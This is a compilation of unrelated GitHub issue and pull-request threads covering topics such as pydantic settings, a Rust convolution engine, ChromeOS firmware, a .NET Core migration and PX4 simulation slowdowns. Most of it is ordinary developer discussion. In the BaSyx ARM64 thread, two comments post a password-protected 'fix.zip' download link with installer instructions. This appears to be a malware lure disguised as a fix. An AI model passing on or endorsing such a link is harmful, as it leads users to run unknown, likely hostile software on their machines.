Returning instance of different class after parsing a model

My use case is settings parsing; take as an example
class URI_List(BaseModel):
    urls: List[AnyHttpUrl]

for which I'd like to provide a shortcut for when the base url is always the same
class URL_with_Resources(BaseModel):
    base_url: AnyHttpUrl
    resources: List[str]

This is then used in
class Settings(BaseSettings):
    uris: Union[URI_List, URL_with_Resources]

From my application I'd then like to be able and get a list of urls from the settings regardless of how they where provided (in this case via environment variables)
for uri in Settings().uris:
    # do stuff

To that end I now (ab-)use root_validator to build proper urls from base_url and resources in URL_with_Resources and return an appropriate dictionary. Something like the following (just with proper url processing and additional validation logic perhaps)
class URL_with_Resources(BaseModel):
    base_url: AnyHttpUrl
    resources: List[str]

    @root_validator
    def build_urls(cls, values):
        base = values['base_url']
        resources = values['resources']
        return dict(urls=[base+resource for resource in resources])

This works but appears very hacky to me and I'd much prefer if there were a way I could return an instance of URI_List from root_validator or another class method on URL_with_Resources instead.

Basically the following should return identical objects (maybe instances of a third class URIs) so that my application code is not coupled in to the way settings are parsed.
URI_List(urls=[
    'http://www.example.com/1',
    'http://www.example.com/2',
    'http://www.example.com/3']
    )

URL_with_Resoureces(base_url="http://www.example.com", resources=['1', '2', '3'])

options:

add a method to the settings class (perhaps decorated with @property) to build the list of URLs
wait for me to properly implement "computed fields" #935 - no timeline on this
stick with your root_validator approach, I agree it looks hacky but it works
you could also use a normal field validator with pre=True, always=True to calculate the value for a fields using the values argument. This is sort of shown here


Crawl a Github repo

Is it possible to crawl a GitHub repo code? if yes, how? if not is there another library do that?

this is a generic crawler, worth trying on a github repo! if it works great, if it doesn't, your guess is as good as mine as to alternatives (maybe others can comment on that)


Proof of concept of single-channel convolution engine

Getting started with #21 , this is a extremely simple, computationally intensive, single channel convolution engine
~Try it out with speakers very low because the normalization is not implemented yet!!~
normalization is now implemented!
cargo run --release --example convolution
My CPU barely keeps up with the larger response buffer,  but this sets a baseline for further improvement

Or port the C++ code to Rust. It is about 5k lines of code..

Hey @b-ma, it took me some time to continue with this.
I had a look at both porting or binding existing C++ stuff, but it is not my range of expertise.
Hence for now I opted to do some incremental improvement on the current implementation. Using Frequency Domain Delay Lines there is a nice performance improvement while not overcomplicating stuff.
Could you check if this works on your end?
Up next is: adding tests (trivial impulse response, comparing with IIR, etc) and then the next improvement: Nonuniform partition scheduling
For literature I am looking at https://www.eecs.qmul.ac.uk/~josh/documents/2017/Jillings IEEE WASPAA 2017.pdf and https://github.com/vtolani95/convolution/blob/master/reverb.py

Hey, nice! I will a look tomorrow
Maybe this https://www.dspguide.com/ch18.htm could be of some help too, didn't check it yet and maybe a bit naive in terms of implementation but this book is generally really nice for explaining the concepts

Hey, didn't have time to have a look at the code, but all tests are passing on my side and the example do not crash anymore! Quite nice :)

Good to hear. If the code looks good to you I intend to merge this version.
I have created #220  for further improvements

Except my small comment, seems pretty good to me. I didn't go into the details of the implementation (I'm interested but...) and the tests look pretty nice!
Seems that going to multichannel from here wouldn't be too complicated, no?
Also there was a bench for the convolution in the original Paul's benchmarks, we could add it too to have an idea of where we get (I can port it if you don't want to make you hand dirty with JS :)

Seems that going to multichannel from here wouldn't be too complicated, no?

Indeed, just a bit of extra bookkeeping

Also there was a bench for the convolution in the original Paul's benchmarks, we could add it too to have an idea of where we get (I can port it if you don't want to make you hand dirty with JS :)

Good point, I can give it a try!

Absolutely not related to the issue but, I'm happy it's out and quite usable ! https://www.npmjs.com/package/node-web-audio-api :)

Absolutely not related to the issue but, I'm happy it's out there and quite usable: https://www.npmjs.com/package/node-web-audio-api :)
(I will probably move the repo to my team's organization, so maybe I will need to re-invite you as collaborator)

Really cool. Congrats on the milestone!

Ready for final comments

Seems we are good to go :) congrats!


firmware-util.sh script fails to detect hardware platforms for certain chromebooks

Running the firmware-util.sh script on a Lenovo S345-14 (AMD A6) with the hardware ID LIARA produces the following output on the firmware menu:
**   Device:  (GRUNT)
** Platform: (unrecognized)

This is from running the script inside of a custom Linux install, booted in RW_LEGACY mode.
The firmware still installs and allows booting into legacy mode.

sadly for many ChromeOS devices, there is no way to disambiguate them when booted in legacy boot mode, since depthcharge (the chromeOS firmware payload) fails to populate the HWID into the SMBIOS tables. I suppose I could try to read it directly from the GBB firmware region...

should be fixed now - verified working on my LIARA running Linux w/RW_LEGACY firmware


How to disconnect the devices

Prerequisites

[X] I checked the documentation and FAQ without finding a solution
[X] I checked to make sure that this issue has not already been filed
[X] I'm sure that question is related to the library itself and not Bluetooth Low Energy or Classic in general. If that so, please post your question on StackOverflow.
[X] I'm running the latest version

Question
i am connected the devices and read the devices value but how to disconnect the device using cancelDeviceConnection
does not working ,
any one can explain how to connected device to disconnected
Question related code
No response

const disconnectFromDevice = () => {
        if (connectedDevice) {
            bleManager.cancelDeviceConnection(connectedDevice.id);
            setConnectedDevice(null);
        }
    };

the connectedDevice object here is what you get from:
const deviceConnection = await bleManager.connectToDevice(device.id);
await deviceConnection.discoverAllServicesAndCharacteristics();
setConnectedDevice(deviceConnection);


Edit KK-set

It should be possible to import a KK-set and edit it.

Because of less time the development of the editing function for the KK-sets will be delayed. If you want to edit the sets, then download them as a .txt-file and edit them in a text-editor. Add new KK's in the style of the previous KK's.


Improve internationalization

Reference post on the forum:

Hope to change the logic of this field:
.tituspijean-auth-ldap.forum.log_in_with: 'Login With'
Current Logic:
Login with
Optimized Logic:
Login With {serverName}
After optimized, this field can be translated into other languages that are logically different from English. For example, in
Chinese, the order of the field is as below:
{serverName} 登录

Reference documentation item for including variables in translations:

You can include variables in translations. As an example, let's look at the code that creates the first item in Flarum's search results dropdown. This button quotes the search query entered by the user — information that is passed to the translator along with the translation key, as an additional parameter:
{LinkButton.component({   icon: 'search',   children: app.translator.trans('all_discussions_button', {query}),   href: app.route('index', {q: query}) })}
A matching placeholder in the translation lets the translator know where it should insert the variable:
all_discussions_button: 'Search all discussions for "{query}"'
Since curly brackets are used to denote the placeholder, the translation as a whole needs to be enclosed in quotation marks. Normally, double quotes would be used; but since this particular translation is using double quotes to set off the search query, the single-quote rule takes precedence.

Fixed by #37


[BUG] basyx-dashboard-api with ARM64

Describe the bug
basyx-dashboard-api doesn't run at ARM64 Architecture
 ✔ Container aas-env                                                                                Created                                           0.0s
 ! dashboard-api The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested                                                   0.0s

To Reproduce
This comes from the get-started doc
  dashboard-api:
    image: aaronzi/basyx-dashboard-api:SNAPSHOT_02
    container_name: dashboard-api
    ports:
      - '8085:8085'
    volumes:
      - ./basyx/aas-dashboard.yml:/application.yml
    restart: always
    depends_on:
      mongo:
        condition: service_healthy

Steps to reproduce the behavior:

Go to '.https://basyx.org/get-started/introduction'
Generate Package with Dashboard API
Run in AMR64/v8 achricture
Image not provided for this architecture. Probably a smilar problem as resolved in issue 387

Expected behavior
A clear and concise description of what you expected to happen.
BaSyx (please complete the following information):

BaSyx Version [e.g. v1.3, v2.0]
BaSyx SDK [e.g. Java, C#, Python]
AAS Version [e.g. DotAAS V2, DotAAS V3]

Screenshots
If applicable, add screenshots to help explain your problem.
Used Asset Administration files (.aasx/.json/.xml)
Please drop your AAS files here that were used when the bug was encountered.
BaSyx configuration
Provide details about the configuration you used. If possible, attach the configuration as a .zip file.
System (please complete the following information):

OS: Debian VM on Mac
CPU architecture: M3 (linux/arm64/v8)

Additional context
Add any other context about the problem here.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hello @gerberm-at-msg, thank you for notifying us about this. This component is still in the hands of the University of Applied Sciences Berlin. We will discuss with them if they are willing to open source this and make it part of BaSyx. If so, I will happily update the image of the Dashboard API to support ARM as well and provide it via the BaSyx DockerHub repository.


Adds validation for STS cluster NLBs

TODO's called out for non-STS clusters, which can toggle the API from public and private.

This handles a part of #14


Is this lib made using D3?

Documentation Is:

[ ] Missing or needed?
[ ] Confusing
[X] Not sure?

Please Explain in Detail...
Is this lib made using D3?
Your Proposal for Changes
Is this lib made using D3?
Example
No response

This project does not use D3


Front End improvements for IDENTITY-4832

It was decided to avoid changing the UI, rather revoke consent from the revoke application itself.


Accessibility bounding boxes are skewed when a11y is on when app started

Steps to Reproduce

Open application with accessibility turned on already
Attempt to use accessibility affordances

Logs
None to share

These steps do not reproduce the problem: I just launched Flutter Gallery with TalkBack running and everything works fine. Can you please add more specific steps that reproduce the problem?


Use new discord invite in README

Don't merge this. I've found the new invite seems to have expired


chore: Only use c-eth-kzg in java crate

This removes usage of rust-eth-kzg and officially only uses the c-eth-kzg API. I don't think it matters too much, which one of these we use out of rust-eth-kzg and c-eth-kzg

We can impl Deref in another PR to remove the calls to .inner


Consider signing

Maybe it is worth it to use this, have to consider
https://about.signpath.io/product/open-source
Ideally it'd support all OSes then, not just Windows

Linux... doesn't have signing in the slightest and I don't think signpath provides macOS, you need the 99$/yr apple developer program for that I think

There's also https://www.sigstore.dev/, which is potentially better because of big names backing it up (some previous attempts did get paid presumably due to lack of funding).

I don't think sigstore is recognized by any real entity as a code signing cert?

In that case, I guess sigstore is for code signing while SignPath is for binary signing.

I think sigstore is more for docker containers and such and making sure the software wasn't tampered with on the way through rather than "can this be reasonably considered virus-free"

Fabulously-Optimized/fabulously-optimized#849 needs to be merged and verification integrated in here to meet Signpath Foundation reqs

Need to fulfill these criteria as well https://github.com/SignPath/Website-old/blob/v2/src/drafts/oss_policy.md


[Intention] Change platforms to .NET Core

Expected behaviour
Our application should run on .NET Core - a newer, improved, .NET platform that has full cross-platform support, is faster, and has fewer quirks than Mono.
Actual behaviour
We can only run our app on Mono, which is slower and has less platform support.
Any other details
This change should be easy enough for our code. The problem is replacing dependencies that do not support .NET core.
UPDATE:
Another goal: I'd greatly prefer to still produce a self-contained executable for Windows machines. Currently, Windows machines all ship with a .NET framework installed which makes running our solution as simple as running the shipped exe. As I understand it, by default .NET Core does not produce executables anymore and requires a dotnet my.dll invocation to run any program.
Notes from @cofiem:

[ ] Remove the NonClosingStreamWrapper class in Acoustics.Shared as ObjRef is not in .NET Core, but the class wasn't used anyway.
[ ] Remove AForge.Net and replace with in Accord.Net, which does have .NET Core packages.
[ ] .NET Core does not support Binary, use bytes[].
[ ] .NET Core comes with a much smaller set of default BCLs. Add references to the NuGet packages:

System.Configuration.ConfigurationManager (AT: I think this could be removed entirely, we do not use these settings much anymore)
System.Threading.Tasks
System.Drawing.{Common, Primitives} - AT: See also #158

[ ] alglibnet - the NuGet package is very old. However, the download from the source website has a .NET Core .dll. AT will need to check but I don't think we need this
[ ] ColorMine - the NuGet package is very old. However, either the original library (which is no longer available on github) could be manually converted to a .NET Core package, or there is a NuGet portable package that might work. AT: should be removable, if not all of what we need will  be in in ImageSharp
[ ] DotSpinners - this package does not seem to have a .NET Core version
[ ] EnvDTE - I can't find a VS2017 or .NET Core-compatible version of this. The documentation is here. AT: we only use this has a hack for automatic debugger attaching, we should just #IF DEF out this reference for non-Windows, non DEBUG builds
[ ] fasterflect - It looks like work on a .NET Core/Standard port started, but is still in progress.
[ ] FSPowerPack - the FSPowerPack packages are very old (from 2012!). The project seems to be abandoned. I'm not sure how this can be upgraded or replaced.
[ ] QuickGraph - the NuGet package is very old. AT should be removable

I decided to give ~3 hours to seeing how far I could get with migrating AudioAnalysis to .NET Core.
Summary: the migration is definitely possible, however there are some dependencies that need updates before it is feasible to attempt. I did not manage to get it to build, but using the CoreCompat approach outlined below, I think it should be possible to make it build without many changes and without too much more work.
.Net Core seems to have much better support for System.Drawing, in System.Drawing.Common (src), which has replaced CoreCompat.System.Drawing and friends.
Accord.Net is the key dependency that is not ready - it is in the process of migrating, there is a commit in the development branch, but has not yet been released. The migration of AudioAnalysis could proceed without this change by using the current Accord.Net with CoreCompat, which in turn requires overcoming the type collisions for the types in System.Drawing.
The approach I took to do the actual migration was to create a new Solution in VS2017, and create each project as a .NET Core 2.0 Library (Console for AnalysisPrograms). I then copied the *.cs and *.fs files into the new projects. I added the same NuGet packages and added the same references to other projects.
A sample of the changes I made:

Removed the NonClosingStreamWrapper class in Acoustics.Shared as ObjRef is not in .NET Core, but the class wasn't used anyway.
AForge.Net does not have .NET Core packages, however all the functionality is present in Accord.Net, which does have .NET Core packages.
.NET Core does not support Binary, use bytes[].
.NET Core comes with a much smaller set of default BCLs. I had to add references to the NuGet packages System.Configuration.ConfigurationManager, System.Threading.Tasks, System.Drawing.{Common, Primitives}, EnvDTE.

I don't know if I'll give it any more time, but if I do I'll update my progress here. There is no branch or PR related to this, yet.

Other dependencies that need to be changed for .NET Core. Unfortunately none of these have an obvious migration path.

alglibnet - the NuGet package is very old. However, the download from the source website has a .NET Core .dll
ColorMine - the NuGet package is very old. However, either the original library (which is no longer available on github) could be manually converted to a .NET Core package, or there is a NuGet portable package that might work.
DotSpinners - this package does not seem to have a .NET Core version
EnvDTE - I can't find a VS2017 or .NET Core-compatible version of this. The documentation is here.
fasterflect - It looks like work on a .NET Core/Standard port started, but is still in progress.
FSPowerPack - the FSPowerPack packages are very old (from 2012!). The project seems to be abandoned. I'm not sure how this can be upgraded or replaced.
QuickGraph - the NuGet package is very old. This other NuGet package might work?

Awesome work.
Even though System.Drawing appears to exist in .Net Core compatible builds I'm still keen to replace it. AFAIK the limitations in GDI+ still exist.
I think your approach was useful. We should probably ramp up support for this migration slowly and maintain concurrent solutions. When both solutions compile, pass tests successfully, and are otherwise black box compatible, we can switch over.
I see that Accord has incorporated Aforge in its entirety so that problem should be a non-issue.
I've updated the original issue with a list of TODOs. More than likely, as you suggested, most of these dependencies can be removed, replaced, or we can submit a PR.

Closed (completed)


Does not compile with the latest satori/go.uuid 1.2.0

The issue is well known https://github.com/satori/go.uuid/issues/66, the consensus is to migrate away from the library.

Thank you! I will try to see how to fix this soon.
In the mean time the Gopkg.lock has version 1.2.0 and the example is compiling, So I am guessing it is not working with version 2.0 or with applications requiring this version? (or maybe this tag changed since)
BTW if you wish to submit a fix you are welcome


kafka 2.4.0

adds kafka 2.4.0 to the CI tests

Can you rebase on master?

@dasch rebased

Thanks!


refactor unique_everseen

less code, minimum speed loss

Thanks for the PR!. Could you quantify the speed difference?

I get anywhere from 5% faster to 10% slower, depending on the key function:
from timeit import Timer
from random import choice

from more_itertools.recipes import consume, unique_everseen, new_unique_everseen

pool = list(range(10000))
iterable = []
for i in range(1000):
    iterable.append(choice(pool))

results = []
for func in unique_everseen, new_unique_everseen:
    def stmt():
        consume(func(iterable, key=lambda x: str(x)))

    timer = Timer(stmt)
    n, result = timer.autorange()
    results.append(result)

print(results[1] / results[0] - 1)

I'm sorry, email is not my priority, so I'm late.
Anyway, You'd better know:

pool = list(range(10000))
iterable = []
for i in range(1000):

iterable.append(choice(pool))

iterable = random.sample(range(10000), 1000)

consume(func(iterable, key=lambda x: str(x)))

consume(func(iterable, key=str))

Be pythonic.
Best regards.
ср, 6 нояб. 2019 г. в 05:40, Bo Bayles<EMAIL_ADDRESS>
Merged #326 https://github.com/erikrose/more-itertools/pull/326 into
master.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/erikrose/more-itertools/pull/326?email_source=notifications&email_token=ADICAVEJVAWXVBFZRMS76ULQSIVABA5CNFSM4JIKXI7KYY3PNVWWK3TUL52HS4DFWZEXG43VMVCXMZLOORHG65DJMZUWGYLUNFXW5KTDN5WW2ZLOORPWSZGOUVJ5FHQ#event-2773734046,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ADICAVBITLDU7LUSJLOYHGLQSIVABANCNFSM4JIKXI7A
.


Report table formatting is unexpected (Pro 2.2 Testing)

When testing the Environmental Analysis project for 2.2 certification, the formatting of tables in the reports isn't expected.

Repro Steps

with released version of package (\esri.com\software\Esri\Released\ArcGISforStateGovernment EnvironmentalAnalysis.zip) and daily build of Pro 2.2, unpack package
from Sample Models toolbox, edit / open Reporting Feature Class Information model
execute model and view result

Looks like a change at the arcpy level. Have emailed someone from arcpy mapping team to see if they can evaluate.

Verified with Pro 2.2 build 12813 that the fix from arcpy side resolves this issue.


SITL gazebo real time factor is slowing down for plane

Describe the bug
The real time factor for a simple plane simulation progressively slows down. From about 16 to 5 in 10 minutes. Similar to #12975
To Reproduce
Firmware version 10.0
Gazebo 9.0
git checkout v1.10.0
git submodule update --init --recursive
pip install jinja2 empy catkin_pkg toml numpy
export PX4_SIM_SPEED_FACTOR=20
make px4_sitl gazebo_plane

Then in the px4 console:
pxh> commander takeoff

Expected behavior
The real time factor goes down consistently.
Log Files and Screenshots
Always provide a link to the flight log file:
Log files and gz stats are available to the following link:
Log files

Thanks for the issue. I'll put this on my list to reproduce.

I think this is related to SDF files, which has been updated in last year. It slows down since we have added magnetometers and gyro meters parameters in the SDF. The last commit I remember working without a slowing down in this one 0e43ddafa0c70a190a9080c17c9540d8f7ab5261

Having the same problem. @shrit  I tried to checkout the commit you mentioned, but I get
fatal: reference is not a tree: 0e43ddafa0c70a190a9080c17c9540d8f7ab5261
I also compared the sitl_gazebo from PX4 1.9.2 (which was released before the commit you sent) with the current one, but the plane.sdf file is the same.
Do you have a suggestion on work around or how to fix it? The simulation slow down is blocking us quite a bit sadly

@vwueest I do not know why you have this error, but you need to checkout this commit from inside the submodules (you have to go inside sitl_gazebo and checkout the commit), not in the PX4 firmware.

If you have the appropriate PX4 version, you should not have any problem during the compilation.

Relevant ticket: https://github.com/PX4/Firmware/issues/12975
A closely related issue still open :+1:
@julianoes if you have an idea where I can start debugging I can work on a pull request.

@shrit thanks for your answer.  The problem is that we need px4>=v1.10.0, because we control the plane offboard and that was not working properly for fixed wings before v1.10.0.
When i checkout Gazebo_SITL it is not compatible with any of those px4 versions. @julianoes, @shrit do you know if this issue is still being looked at? We would highly appreciate some advances on this front. Thanks a lot

@vwueest You are welcome.
Actually, I do not have a clear idea of why this issue is happening in the first place. I am also concerned with this issue since it is affecting quadrotors. Let us see what @julianoes thinks about it.
The issue is more clear if you run long simulations for about 5 to 10 hours, or for several days.
I have also noticed the same thing in this video, it should be similar to what is happening with your simulation I think (Check out the last 10 seconds): https://youtu.be/aEzFKPMEfjc

I'm currently not looking at that. I want to but it's not as urgent as everything else :confused:, at least for me.
And I haven't done that sort of debugging before. I would start with doing some profiling. First profile it for 1 minute and safe the callgrind data. Then profile it for 15 mins and save the callgrind data and then compare it and check what increased.


Parser for the BiH company registry

@jbothma please check the comments with JD: prefix.

Дякую

My pleasure!
On Fri, May 10, 2024 at 7:28 PM JD Bothma @.***> wrote:

Дякую
—
Reply to this email directly, view it on GitHub
https://github.com/opensanctions/opensanctions/pull/761#issuecomment-2104895694,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AABAA4XYKFK4FQ76FHK37DDZBTYTLAVCNFSM6AAAAABGHED5R6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCMBUHA4TKNRZGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>


[FLINK-18087][yarn] Fix uploading user artifact for Yarn job cluster

What is the purpose of the change
In FLINK-17632, we add the support remote user jar. However, uploading user artifact for Yarn job cluster is broken exceptionally. In the following code, we should only upload local files. Now it has the contrary behavior.
// only upload local files
if (Utils.isRemotePath(entry.getValue().filePath)) {
   Path localPath = new Path(entry.getValue().filePath);
   Tuple2<Path, Long> remoteFileInfo =
         fileUploader.uploadLocalFileToRemote(localPath, entry.getKey());
   jobGraph.setUserArtifactRemotePath(entry.getKey(), remoteFileInfo.f0.toString());
}

Another problem is the related tests testPerJobModeWithDistributedCache does not fail because we do not fetch the artifact from blob server. We directly get it from local file. It also needs to be enhanced.
Brief change log

Fix the wrong logics
Enhance the YARNITCase to always check the artifact should be remote or uploaded to remote

Verifying this change
Covered by existing tests.
Without the negation fix, YARNITCase#testPerJobModeWithDistributedCache will fail.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)
The serializers: (yes / no / don't know)
The runtime per-record code paths (performance sensitive): (yes / no / don't know)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (yes / no / don't know)
The S3 file system connector: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

cc @kl0u Could you please have a look?


small edit to daysleeper information

Daysleeper mode for the HDCZA algorithm is activated when the wakeup time from the noon-noon block is after 11am (not after noon, like originally stated).

oh, I just see now in g.part4.R that the 'daysleeper' tag  is not given unless the wakeup time is after noon.:

But, it is true that the HDCZA algorithm doesn't go into daysleeper mode (6pm-6pm searching) unless the initial wakeup time (from noon-noon block) is after 11am.

Agreed, but the sentence in the vignette is still wrong because it is referring to the functionality of HDCZA either looking at noon-noon data or 6pm-6pm data;

If the guider indicates that the person woke up after noon, the sleep analysis in part 4 is performed again on a window from 6pm-6pm. In this way our method is sensitive to people who have their main sleep period starting before noon and ending after noon, referred as daysleeper=1 in daysummary.csv file, which you can interpret as night workers.

11am is the threshold to move to a 6pm-6pm window, not noon.

The change you propose relates to the vignette description about part 4, where 11am is not considered. I will have a closer look at the underlying code and re-read vignette text tomorrow. Maybe we should be clearer in the vignette text about which part of the code each statement refers to.

I double checked it and I still disagree. The description refers to what happens in part 4, and not to what happens in part 3.
The vignette paragraph right before the paragraph that you propose to change clarifies how guider=HDCZA works in terms of 11am threshold. If this results in waking up time after noon then part 4 will treat this night as a daysleeper.


Work Done ! for the Login page

if request.method == 'POST'
Put this in the starting of function. If you will put it this low, the functions is likely to fail.


Base game color healthbar

Describe your problem here.
How do I make a base game colored healthbar?
Are you modding a build from source or with Lua?
Lua
What is your build target?
Windows x64
Did you edit anything in this build? If so, mention or summarize your changes.
No response

like source code?

like source code?

Read it thoroughly.
Also you'd need new character .jsons with red and green healthbars.

oh that? look in the older versions of psych engine or kade engine.

You can't change health bar colors in lua


Syntax Highlighting

Do you have any plans for syntax highlighting in this repo? It appears common that treesitter repos (I sampled cpp, js and python) do have highlights.scm files. My general experience so far was that syntax highlighting starts working once I install the parser with TSInstall.
I started looking into it and if you don't mind, I'd like to give it a try :)

I was planning on it but wanted to finish the syntax first. I'm fine with any positive contribution at any time.

I see. I'm new to tree-sitter in general, so it doesn't really matter what I work on, it will be trial-and-error either way.
May I ask what your workflow is? So far I managed to get the parser working by itself and add it to neovim where I can inspect it in ts-playground (although it is not updating when the buffer changes). However, the syntax highlighting module is not enabled and I don't know how I can do so. Running tree-sitter highlight some-file.nu works fine, but no highlighting inside neovim.

My workflow is maybe less than that. I just do what I put in the read me. For inspiration, you can see how the helix editor shows the syntax highlighting. Someone contributed the scm files a few months ago.

see how the helix editor shows the syntax highlighting

could you please drop me a link to it? :)

no problem https://github.com/helix-editor/helix/tree/master/runtime/queries/nu

Can this be closed? TSInstall nu enables highlighting

The syntax highlighting is minimal and can be made better via queries.

I believe that this issue can be closed. There are only specific issues that need to be specifically addressed.


Instantiate Logger instance for PublicClientApplication

Adds a private logger instance to PublicClientApplication. Also makes the default loggerCallback a noop, as apps should only get console.logs if they implement them.

Coverage decreased (-0.06%) to 80.882% when pulling 7111ed4ce6eeea958f47b732013d7b7f9a93a651 on browser-pca-logger into 7c400025a804672c934a0da5f738375b1011636c on dev.


river: 0.3.4 -> 0.3.5

Description of changes
depend on wlroots_0_18
https://codeberg.org/river/river/releases/tag/v0.3.5

Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 331076 run on aarch64-linux 1

3 packages built:

river
river.man
rivercarro


crypto/rand: nacl support is broken on both 1.4 and tip

This program (http://play.golang.org/p/0DMMipySJX) runs on playground (Go 1.3)
But fails to run on latest master branch (it tries to open /dev/urandom)

Is this patch waiting for anything?

I need to update the README. The code is ready.


Members injected into mixin application are not in "declared members" from ClassHierarchy

When querying the ClassHierarchy for the declared members of a mixin application class, the members injected into the mixin application class (for instance member signature and forwarding stubs) are not include.
Currently this crashes the expectation tests general/mix_in_int, general/mix_in_string and nnbd_mixed/mix_in_private.

The tests have not been upload. They modify the SDK ast and are therefore not stable.


[ENHANCEMENT - UI/UX] Add Hover Effects for "Get Started" Button and Social Media Icons

What would you like to share?
Current Behavior:
Currently, there are no hover effects applied to the "GetStarted" button or the social media icons, which makes the user experience less engaging.
Expected Behavior:
The "GetStarted" button and social media icons should have hover effects that provide visual feedback to users when they interact with them.
Proposed Solution:
I would like to work on adding hover effects to the "GetStarted" button and social media icons. To achieve this, I propose the following steps:

Identify the CSS rules responsible for styling these elements.
Add CSS code to define hover effects, such as changing the background color or adding a subtle animation.
Test the changes to ensure they work as expected.

Wanna Work upon[y/n] ??
Yes!

You need to work upon :hover and ':active' pseudo classes you know that right?
Also try to make get started button more like 3D when in hover state
for example https://mailchimp.com/es/?currency=USD
I think you need to two divs with bottom one set to relative and upper one absolute. Try that if you want.

Got it! Thank you for the suggestions.


Drop a column on migration

Hello,
I am migrating the DB to a newer version (kudos for making the migration process easy) and I wish to drop a few columns which are no longer necessary. I've looked around but couldn't find any reference, is this possible?
Thank you!

This is a SQLite question, and short answer is...not easily. You have to (this is with SQLite too):

Create new table without column with temporary name
Copy over data to it
Drop old table
Recreate new table with column left out

As I said, not easy.

Thank you for the prompt reply :+1:


Deprecated Gradle features were used

Deprecated Gradle features were used in this build, making it incompatible with Gradle 6.0.
The detail get from --warning-mode all shows
> Task :server:processReleaseResources UP-TO-DATE
Changing the value for a property with a final value has been deprecated. This will fail with an error in Gradle 6.
0.

It's seems to be a bug in the Android plugin: https://discuss.gradle.org/t/gradle-5-1-1-bug/32021/8


Request: Donation alternatives

Hello!
First of all, thank you! You have saved me lots of time and headache with this tool and therefore I wanted to show my appreciation.
I tried donating some money, but PayPal is just shady. First it added a , instead of a . to the amount (which I couldn't change) and casually failed to interpret the amount correctly, adding a factor of 100, and now it's charging 30% of the donation. I don't want to send .10 or 1000.- by mistake and I don't support a 30% fee for not hodling PayPal credit.
Please provide alternatives, I'm sure I'm not the only frustrated donor. :)
Cheers

OpenCollective or GitHub Sponsors will be great for us

Hi, we created OpenCollective account
https://opencollective.com/svgo

I became the first contributor 😎

Thanks you @ai!


Remove parity-wasm dependency

parity-wasm is deprecated and we aren't maintaining it anymore. (And we don't really want to.). We're using it for some light patching of WASM blobs. (And I guess wasmi still uses it, but that's going to change soon-ish when we upgrade the currently used ancient wasmi version to the newest one.)
There's the wasmparser and wasm-encoder crates (maintained by the same people who maintain wasmtime) to which we should most likely switch to.

If we want to keep the ability to patch WASM blobs we'll have to convert wasmparser types into wasm-encoder types; this isn't necessarily hard, just potentially tedious.
Fortunately this work has apparently already been done. There's a fork of our own wasm-instrument crate where they replaced the use of parity-wasm with wasmparser + wasm-encoder, so we could just reuse that.


Support of APEX-24.1

Regression test for APEX-24.1
If required, implement adoptions

No adoption required


[BUG] WeatherFX can't read my weather

Module Version: v1.14
Describe the bug
A clear and concise description of what the bug is. It seems like the setting isn't set or the stringify to get a string to logic after is borked.
To Reproduce
Steps to reproduce the behavior:

Have a weather rolled in Weather Control
Click Apply Weather
See following error in console
localhost-1665827272710.log

Expected behavior
Weather to be applied. :p
Browser:
Chrome.
Foundry Version:
v10.288
Game System:
DnD5e v2.0.3

@Krigsmaskine did you set output to chat in weather control module settings?

In trying to get a screenshot for ya, I managed to trigger another error, lol. This is with Simple Calendar, Weather Control, WeatherFX and FXMaster.

Sorry for the delay, would you mind to test with sound disabled in the modules setting?
If you like we could try to debug this together, I am still not able to reproduce the error.

Hi,
just had the same issue.

Disabeling sound worked for me.
I could help debugging if you like. (I'd like to habe the soundeffects ;P )

Hi, just had the same issue.
Disabeling sound worked for me. I could help debugging if you like. (I'd like to habe the soundeffects ;P )

Sure! Send me a discord message and we schedule it together.


when i use typescript, vscode does not recognize redux props

Issue Type: Bug
typescript does not recognize redux props and show error on each component that use props as redux provided. this problem occured when i update my vs code to 3.6.2. but 3.4.5 works currectly.
VS Code version: Code 1.38.1 (b37e54c98e1a74ba89e03073e5a3761284e3ffb0, 2019-09-11T13:35:15.005Z)
OS version: Windows_NT x64 10.0.17763

System Info

Item
Value

CPUs
Intel(R) Core(TM) i3-6100 CPU @ 3.70GHz (4 x 3696)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: disabled_softwareoop_rasterization: disabled_offprotected_video_decode: unavailable_offrasterization: enabledskia_deferred_display_list: disabled_offskia_renderer: disabled_offsurface_synchronization: enabled_onvideo_decode: enabledviz_display_compositor: disabled_offwebgl: enabledwebgl2: enabled

Load (avg)
undefined

Memory (System)
7.89GB (2.47GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions (3)

Extension
Author (truncated)
Version

php-debug
fel
